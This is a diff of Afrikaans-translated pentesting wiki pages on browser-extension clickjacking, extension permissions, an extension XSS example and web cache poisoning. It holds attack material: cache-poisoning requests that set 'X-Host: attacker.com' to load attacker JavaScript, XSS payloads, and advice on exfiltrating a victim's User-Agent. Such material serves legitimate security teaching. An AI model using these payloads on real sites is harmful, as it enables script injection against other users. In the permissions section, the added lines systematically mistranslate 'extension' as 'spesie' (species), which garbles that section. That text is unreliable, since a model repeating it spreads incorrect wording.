-Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiersplugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronne lêers te onttrek.
+Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiers se plugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronne lêers te onttrek.
 
 ## Verwysings
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

@@ -19,7 +19,7 @@ Die **`web_accessible_resources`** in 'n blaaiers uitbreiding is nie net via die
 
 - Die uitbreiding se toestand te verander
 - Bykomende hulpbronne te laai
-- Met die blaaiers tot 'n sekere mate te kommunikeer
+- Met die blaaier tot 'n sekere mate te kommunikeer
 
 Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne **`web_accessible_resources`** enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.
 
@@ -32,7 +32,7 @@ In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband
 "icons/*"
 ]
 ```
-Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat verskaf word by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
+Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat beskikbaar is by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
 
 Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van `/skin/*` uit die lys van `web_accessible_resources`. Hierdie verandering het die risiko effektief verminder deur te verseker dat die inhoud van die `skin/` gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie.
 
@@ -79,7 +79,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
 
 <figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
 
-**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal word.
+**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal wees.
 
 ## Steam Inventory Helper Voorbeeld
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md

@@ -37,71 +37,71 @@ Die volgende `host_permissions` laat basies elke web toe:
 "<all_urls>"
 ]
 ```
-Hierdie is die gasheer wat die blaaiers uitbreiding vrylik kan toegang. Dit is omdat wanneer 'n blaaiers uitbreiding **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie.
+Hierdie is die gasheer wat die blaaierspesie toegang kan verkry. Dit is omdat wanneer 'n blaaierspesie **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie.
 
 ## Misbruik van `permissions` en `host_permissions`
 
 ### Oortjies
 
-Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit laat die uitbreiding toe om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**.
+Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit stel die spesie in staat om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**.
 
 > [!CAUTION]
 > Nie net dit nie, luisteraars soos [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **word ook baie nuttiger.** Hierdie sal kennisgewing ontvang wanneer 'n nuwe bladsy in 'n tab laai.
 
 ### Loop inhoudskripte <a href="#running-content-scripts" id="running-content-scripts"></a>
 
-Inhoudskripte is nie noodwendig staties in die uitbreiding manifest geskryf nie. Gegewe voldoende **`host_permissions`**, **kan uitbreidings dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep.
+Inhoudskripte is nie noodwendig staties in die spesie-manifes geskryf nie. Gegewe voldoende **`host_permissions`**, **kan spesies dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep.
 
-Albei API's laat nie net die uitvoering van lêers wat in die uitbreidings as inhoudskripte bevat is toe nie, maar ook **arbitraire kode**. Die eerste laat die oorgang van JavaScript-kode as 'n string toe terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word.
+Albei API's stel die uitvoering van nie net lêers wat in die spesies as inhoudskripte bevat is nie, maar ook **arbitraire kode**. Die eerste stel die oorgang van JavaScript-kode as 'n string toe, terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word.
 
 > [!CAUTION]
-> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteer** wanneer dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei.
+> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteerbare inligting onderskep** soos dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens, kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei.
 
 ### Impliciete voorregte <a href="#implicit-privileges" id="implicit-privileges"></a>
 
-Sommige uitbreiding voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige uitbreiding kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie.
+Sommige spesie voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige spesie kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie.
 
 Klink te onskadelik? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is ietwat minder so. Dit kan gebruik word om **'n nuwe tab te skep**, essensieel dieselfde as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) wat deur enige webwerf aangeroep kan word. Tog, terwyl `window.open()` onderhewig is aan die **pop-up blokker, is `tabs.create()` nie**.
 
 > [!CAUTION]
-> 'N uitbreiding kan enige aantal tabs skep wanneer dit wil.
+> 'N spesie kan enige aantal tabs skep wanneer dit wil.
 
-As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder gaan as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
+As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder strek as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.**
 
-[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige uitbreiding byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer.
+[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige spesie byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer.
 
-### Webcam, geolokasie en vriende <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
+### Webkamera, geolokasie en vriende <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
 
-Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webcam (video konferensie gereedskap) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê.
+Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webkamera (video-konferensietools) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê.
 
 > [!CAUTION]
-> Nie so met blaaiers uitbreidings nie. **As 'n blaaiers uitbreiding** [**toegang tot jou webcam of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra**
+> Nie so met blaaierspesies nie. **As 'n blaaierspesie** [**toegang tot jou webkamera of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra**
 
-Tipies sal 'n uitbreiding dit onmiddellik na installasie doen. Sodra hierdie prompt aanvaar word, **is webcam toegang te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die uitbreiding op hierdie punt nie. Ja, 'n gebruiker sal hierdie prompt net aanvaar as die uitbreiding regtig webcam toegang benodig. Maar daarna moet hulle die uitbreiding vertrou om niks geheim op te neem nie.
+Tipies sal 'n spesie dit onmiddellik na installasie doen. Sodra hierdie uitnodiging aanvaar word, **is toegang tot die webkamera te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die spesie op hierdie punt nie. Ja, 'n gebruiker sal hierdie uitnodiging net aanvaar as die spesie regtig toegang tot die webkamera benodig. Maar daarna moet hulle die spesie vertrou om nie enigiets geheim op te neem nie.
 
-Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N uitbreiding voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifest.** Hierdie toegang voorregte word dan implisiet toegestaan wanneer die uitbreiding geïnstalleer word. So 'n kwaadwillige of gecompromitteerde uitbreiding met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opgemerk het.
+Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N spesie voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifes**. Hierdie toegang voorregte word dan implisiet toegestaan wanneer die spesie geïnstalleer word. So 'n kwaadwillige of gecompromitteerde spesie met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opmerk.
 
-Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die uitbreiding manifest verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit laat toe om die gebruiker se hele blaai geskiedenis alles op een slag te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek.
+Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die spesie-manifes verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit stel in staat om die gebruiker se hele blaai geskiedenis in een keer te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek.
 
-Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een laat **toe om alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) te lees.
+Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een stel **toegang tot alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) toe.
 
 ### Berging toestemming <a href="#the-storage-permission" id="the-storage-permission"></a>
 
-Die uitbreiding berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie.
+Die spesie berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie.
 
 Echter, advertensie maatskappye kan ook hierdie berging misbruik.
 
 ### Meer toestemming
 
-Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaiers Uitbreiding kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
+Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaierspesie kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox spesies hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
 
 ## Prevensie <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
 
-Die beleid van Google se ontwikkelaar verbied eksplisiet uitbreidings om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaiers uitbreiding hierdie grens oorgesteek het, het behels dat dit saam met die blaaiers self versprei is eerder as deur 'n byvoeging winkel.
+Die beleid van Google se ontwikkelaar verbied eksplisiet spesies om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaierspesie hierdie grens oorgesteek het, het behels dat dit saam met die blaaierself versprei is eerder as deur 'n byvoeging winkel.
 
-Blaaiers kan verder die misbruik van uitbreiding voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die uitbreiding ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom.
+Blaaiers kan verder die misbruik van spesie voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die spesie ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom.
 
-Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van uitbreidings. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan uitbreidings om gasheer voorregte oor die hele internet te vra, te elimineer, wat uitbreidings toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir uitbreidings wat gebruikers-gestuurde aksies benodig, maar val kort vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel.
+Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van spesies. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan spesies om gasheer voorregte oor die hele internet te vra, te elimineer, wat spesies toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir spesies wat gebruikers-gestimuleerde aksies benodig, maar faal vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel.
 
 ## **Verwysings**
 

src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

@@ -29,7 +29,7 @@ chrome.tabs.create({ url: destinationURL })
 })
 })
 ```
-'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
+'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS-lading** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
 ```javascript
 setTimeout(() => {
 let targetFrame = document.querySelector("iframe").src
@@ -94,7 +94,7 @@ Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaa
 [...]
 ],
 ```
-Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daargeteëlde slagoffers om onbewustelik met die onderliggende uitbreiding te interaksie.
+Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daardeur dat slagoffers onbedoeld met die onderliggende uitbreiding interaksie het.
 
 ## Verwysings
 

src/pentesting-web/cache-deception/README.md

@@ -6,8 +6,8 @@
 
 > **Wat is die verskil tussen web cache poisoning en web cache deception?**
 >
-> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
-> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
+> - In **web cache poisoning** veroorsaak die aanvaller dat die aansoek 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander aansoekgebruikers bedien.
+> - In **web cache deception** veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
 
 ## Cache Poisoning
 
@@ -21,9 +21,9 @@ Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
 
 ### Ontdekking: Kontroleer HTTP koptekste
 
-Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy op hierdie pos moet let: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kopteks wees wat dit aandui**, jy kan kyk watter koptekste jy moet aandag gee aan in hierdie pos: [**HTTP Cache koptekste**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
-### Ontdekking: Caching foutkodes
+### Ontdekking: Cache foutkodes
 
 As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kopteks te stuur**, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
 
@@ -37,7 +37,7 @@ Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor w
 
 ### Ontdekking: Identifiseer en evalueer ongekykte insette
 
-Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koptekste te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
+Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **brute-force parameters en koptekste** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kopteks `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
 ```markup
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
@@ -63,7 +63,7 @@ Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy
 ### Eenvoudigste voorbeeld
 
 'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
-Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang, XSS sal hê:
+Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy toegang het, XSS sal ervaar:
 ```markup
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
+Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` na 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` na `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** stuur en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
 ```markup
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -116,7 +116,7 @@ X-Forwarded-Scheme: http
 ```
 ### Exploiting with limited `Vary`header
 
-As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie user agent:
+As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent:
 ```markup
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -125,7 +125,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die cachebediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
+Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die kasbediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -156,7 +156,7 @@ Voorbeeld gebruik: `wcvs -u example.com`
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So is die versoek `/#/../?r=javascript:alert(1)` na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
+ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So die versoek `/#/../?r=javascript:alert(1)` is na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
 
 ### GitHub CP-DoS
 
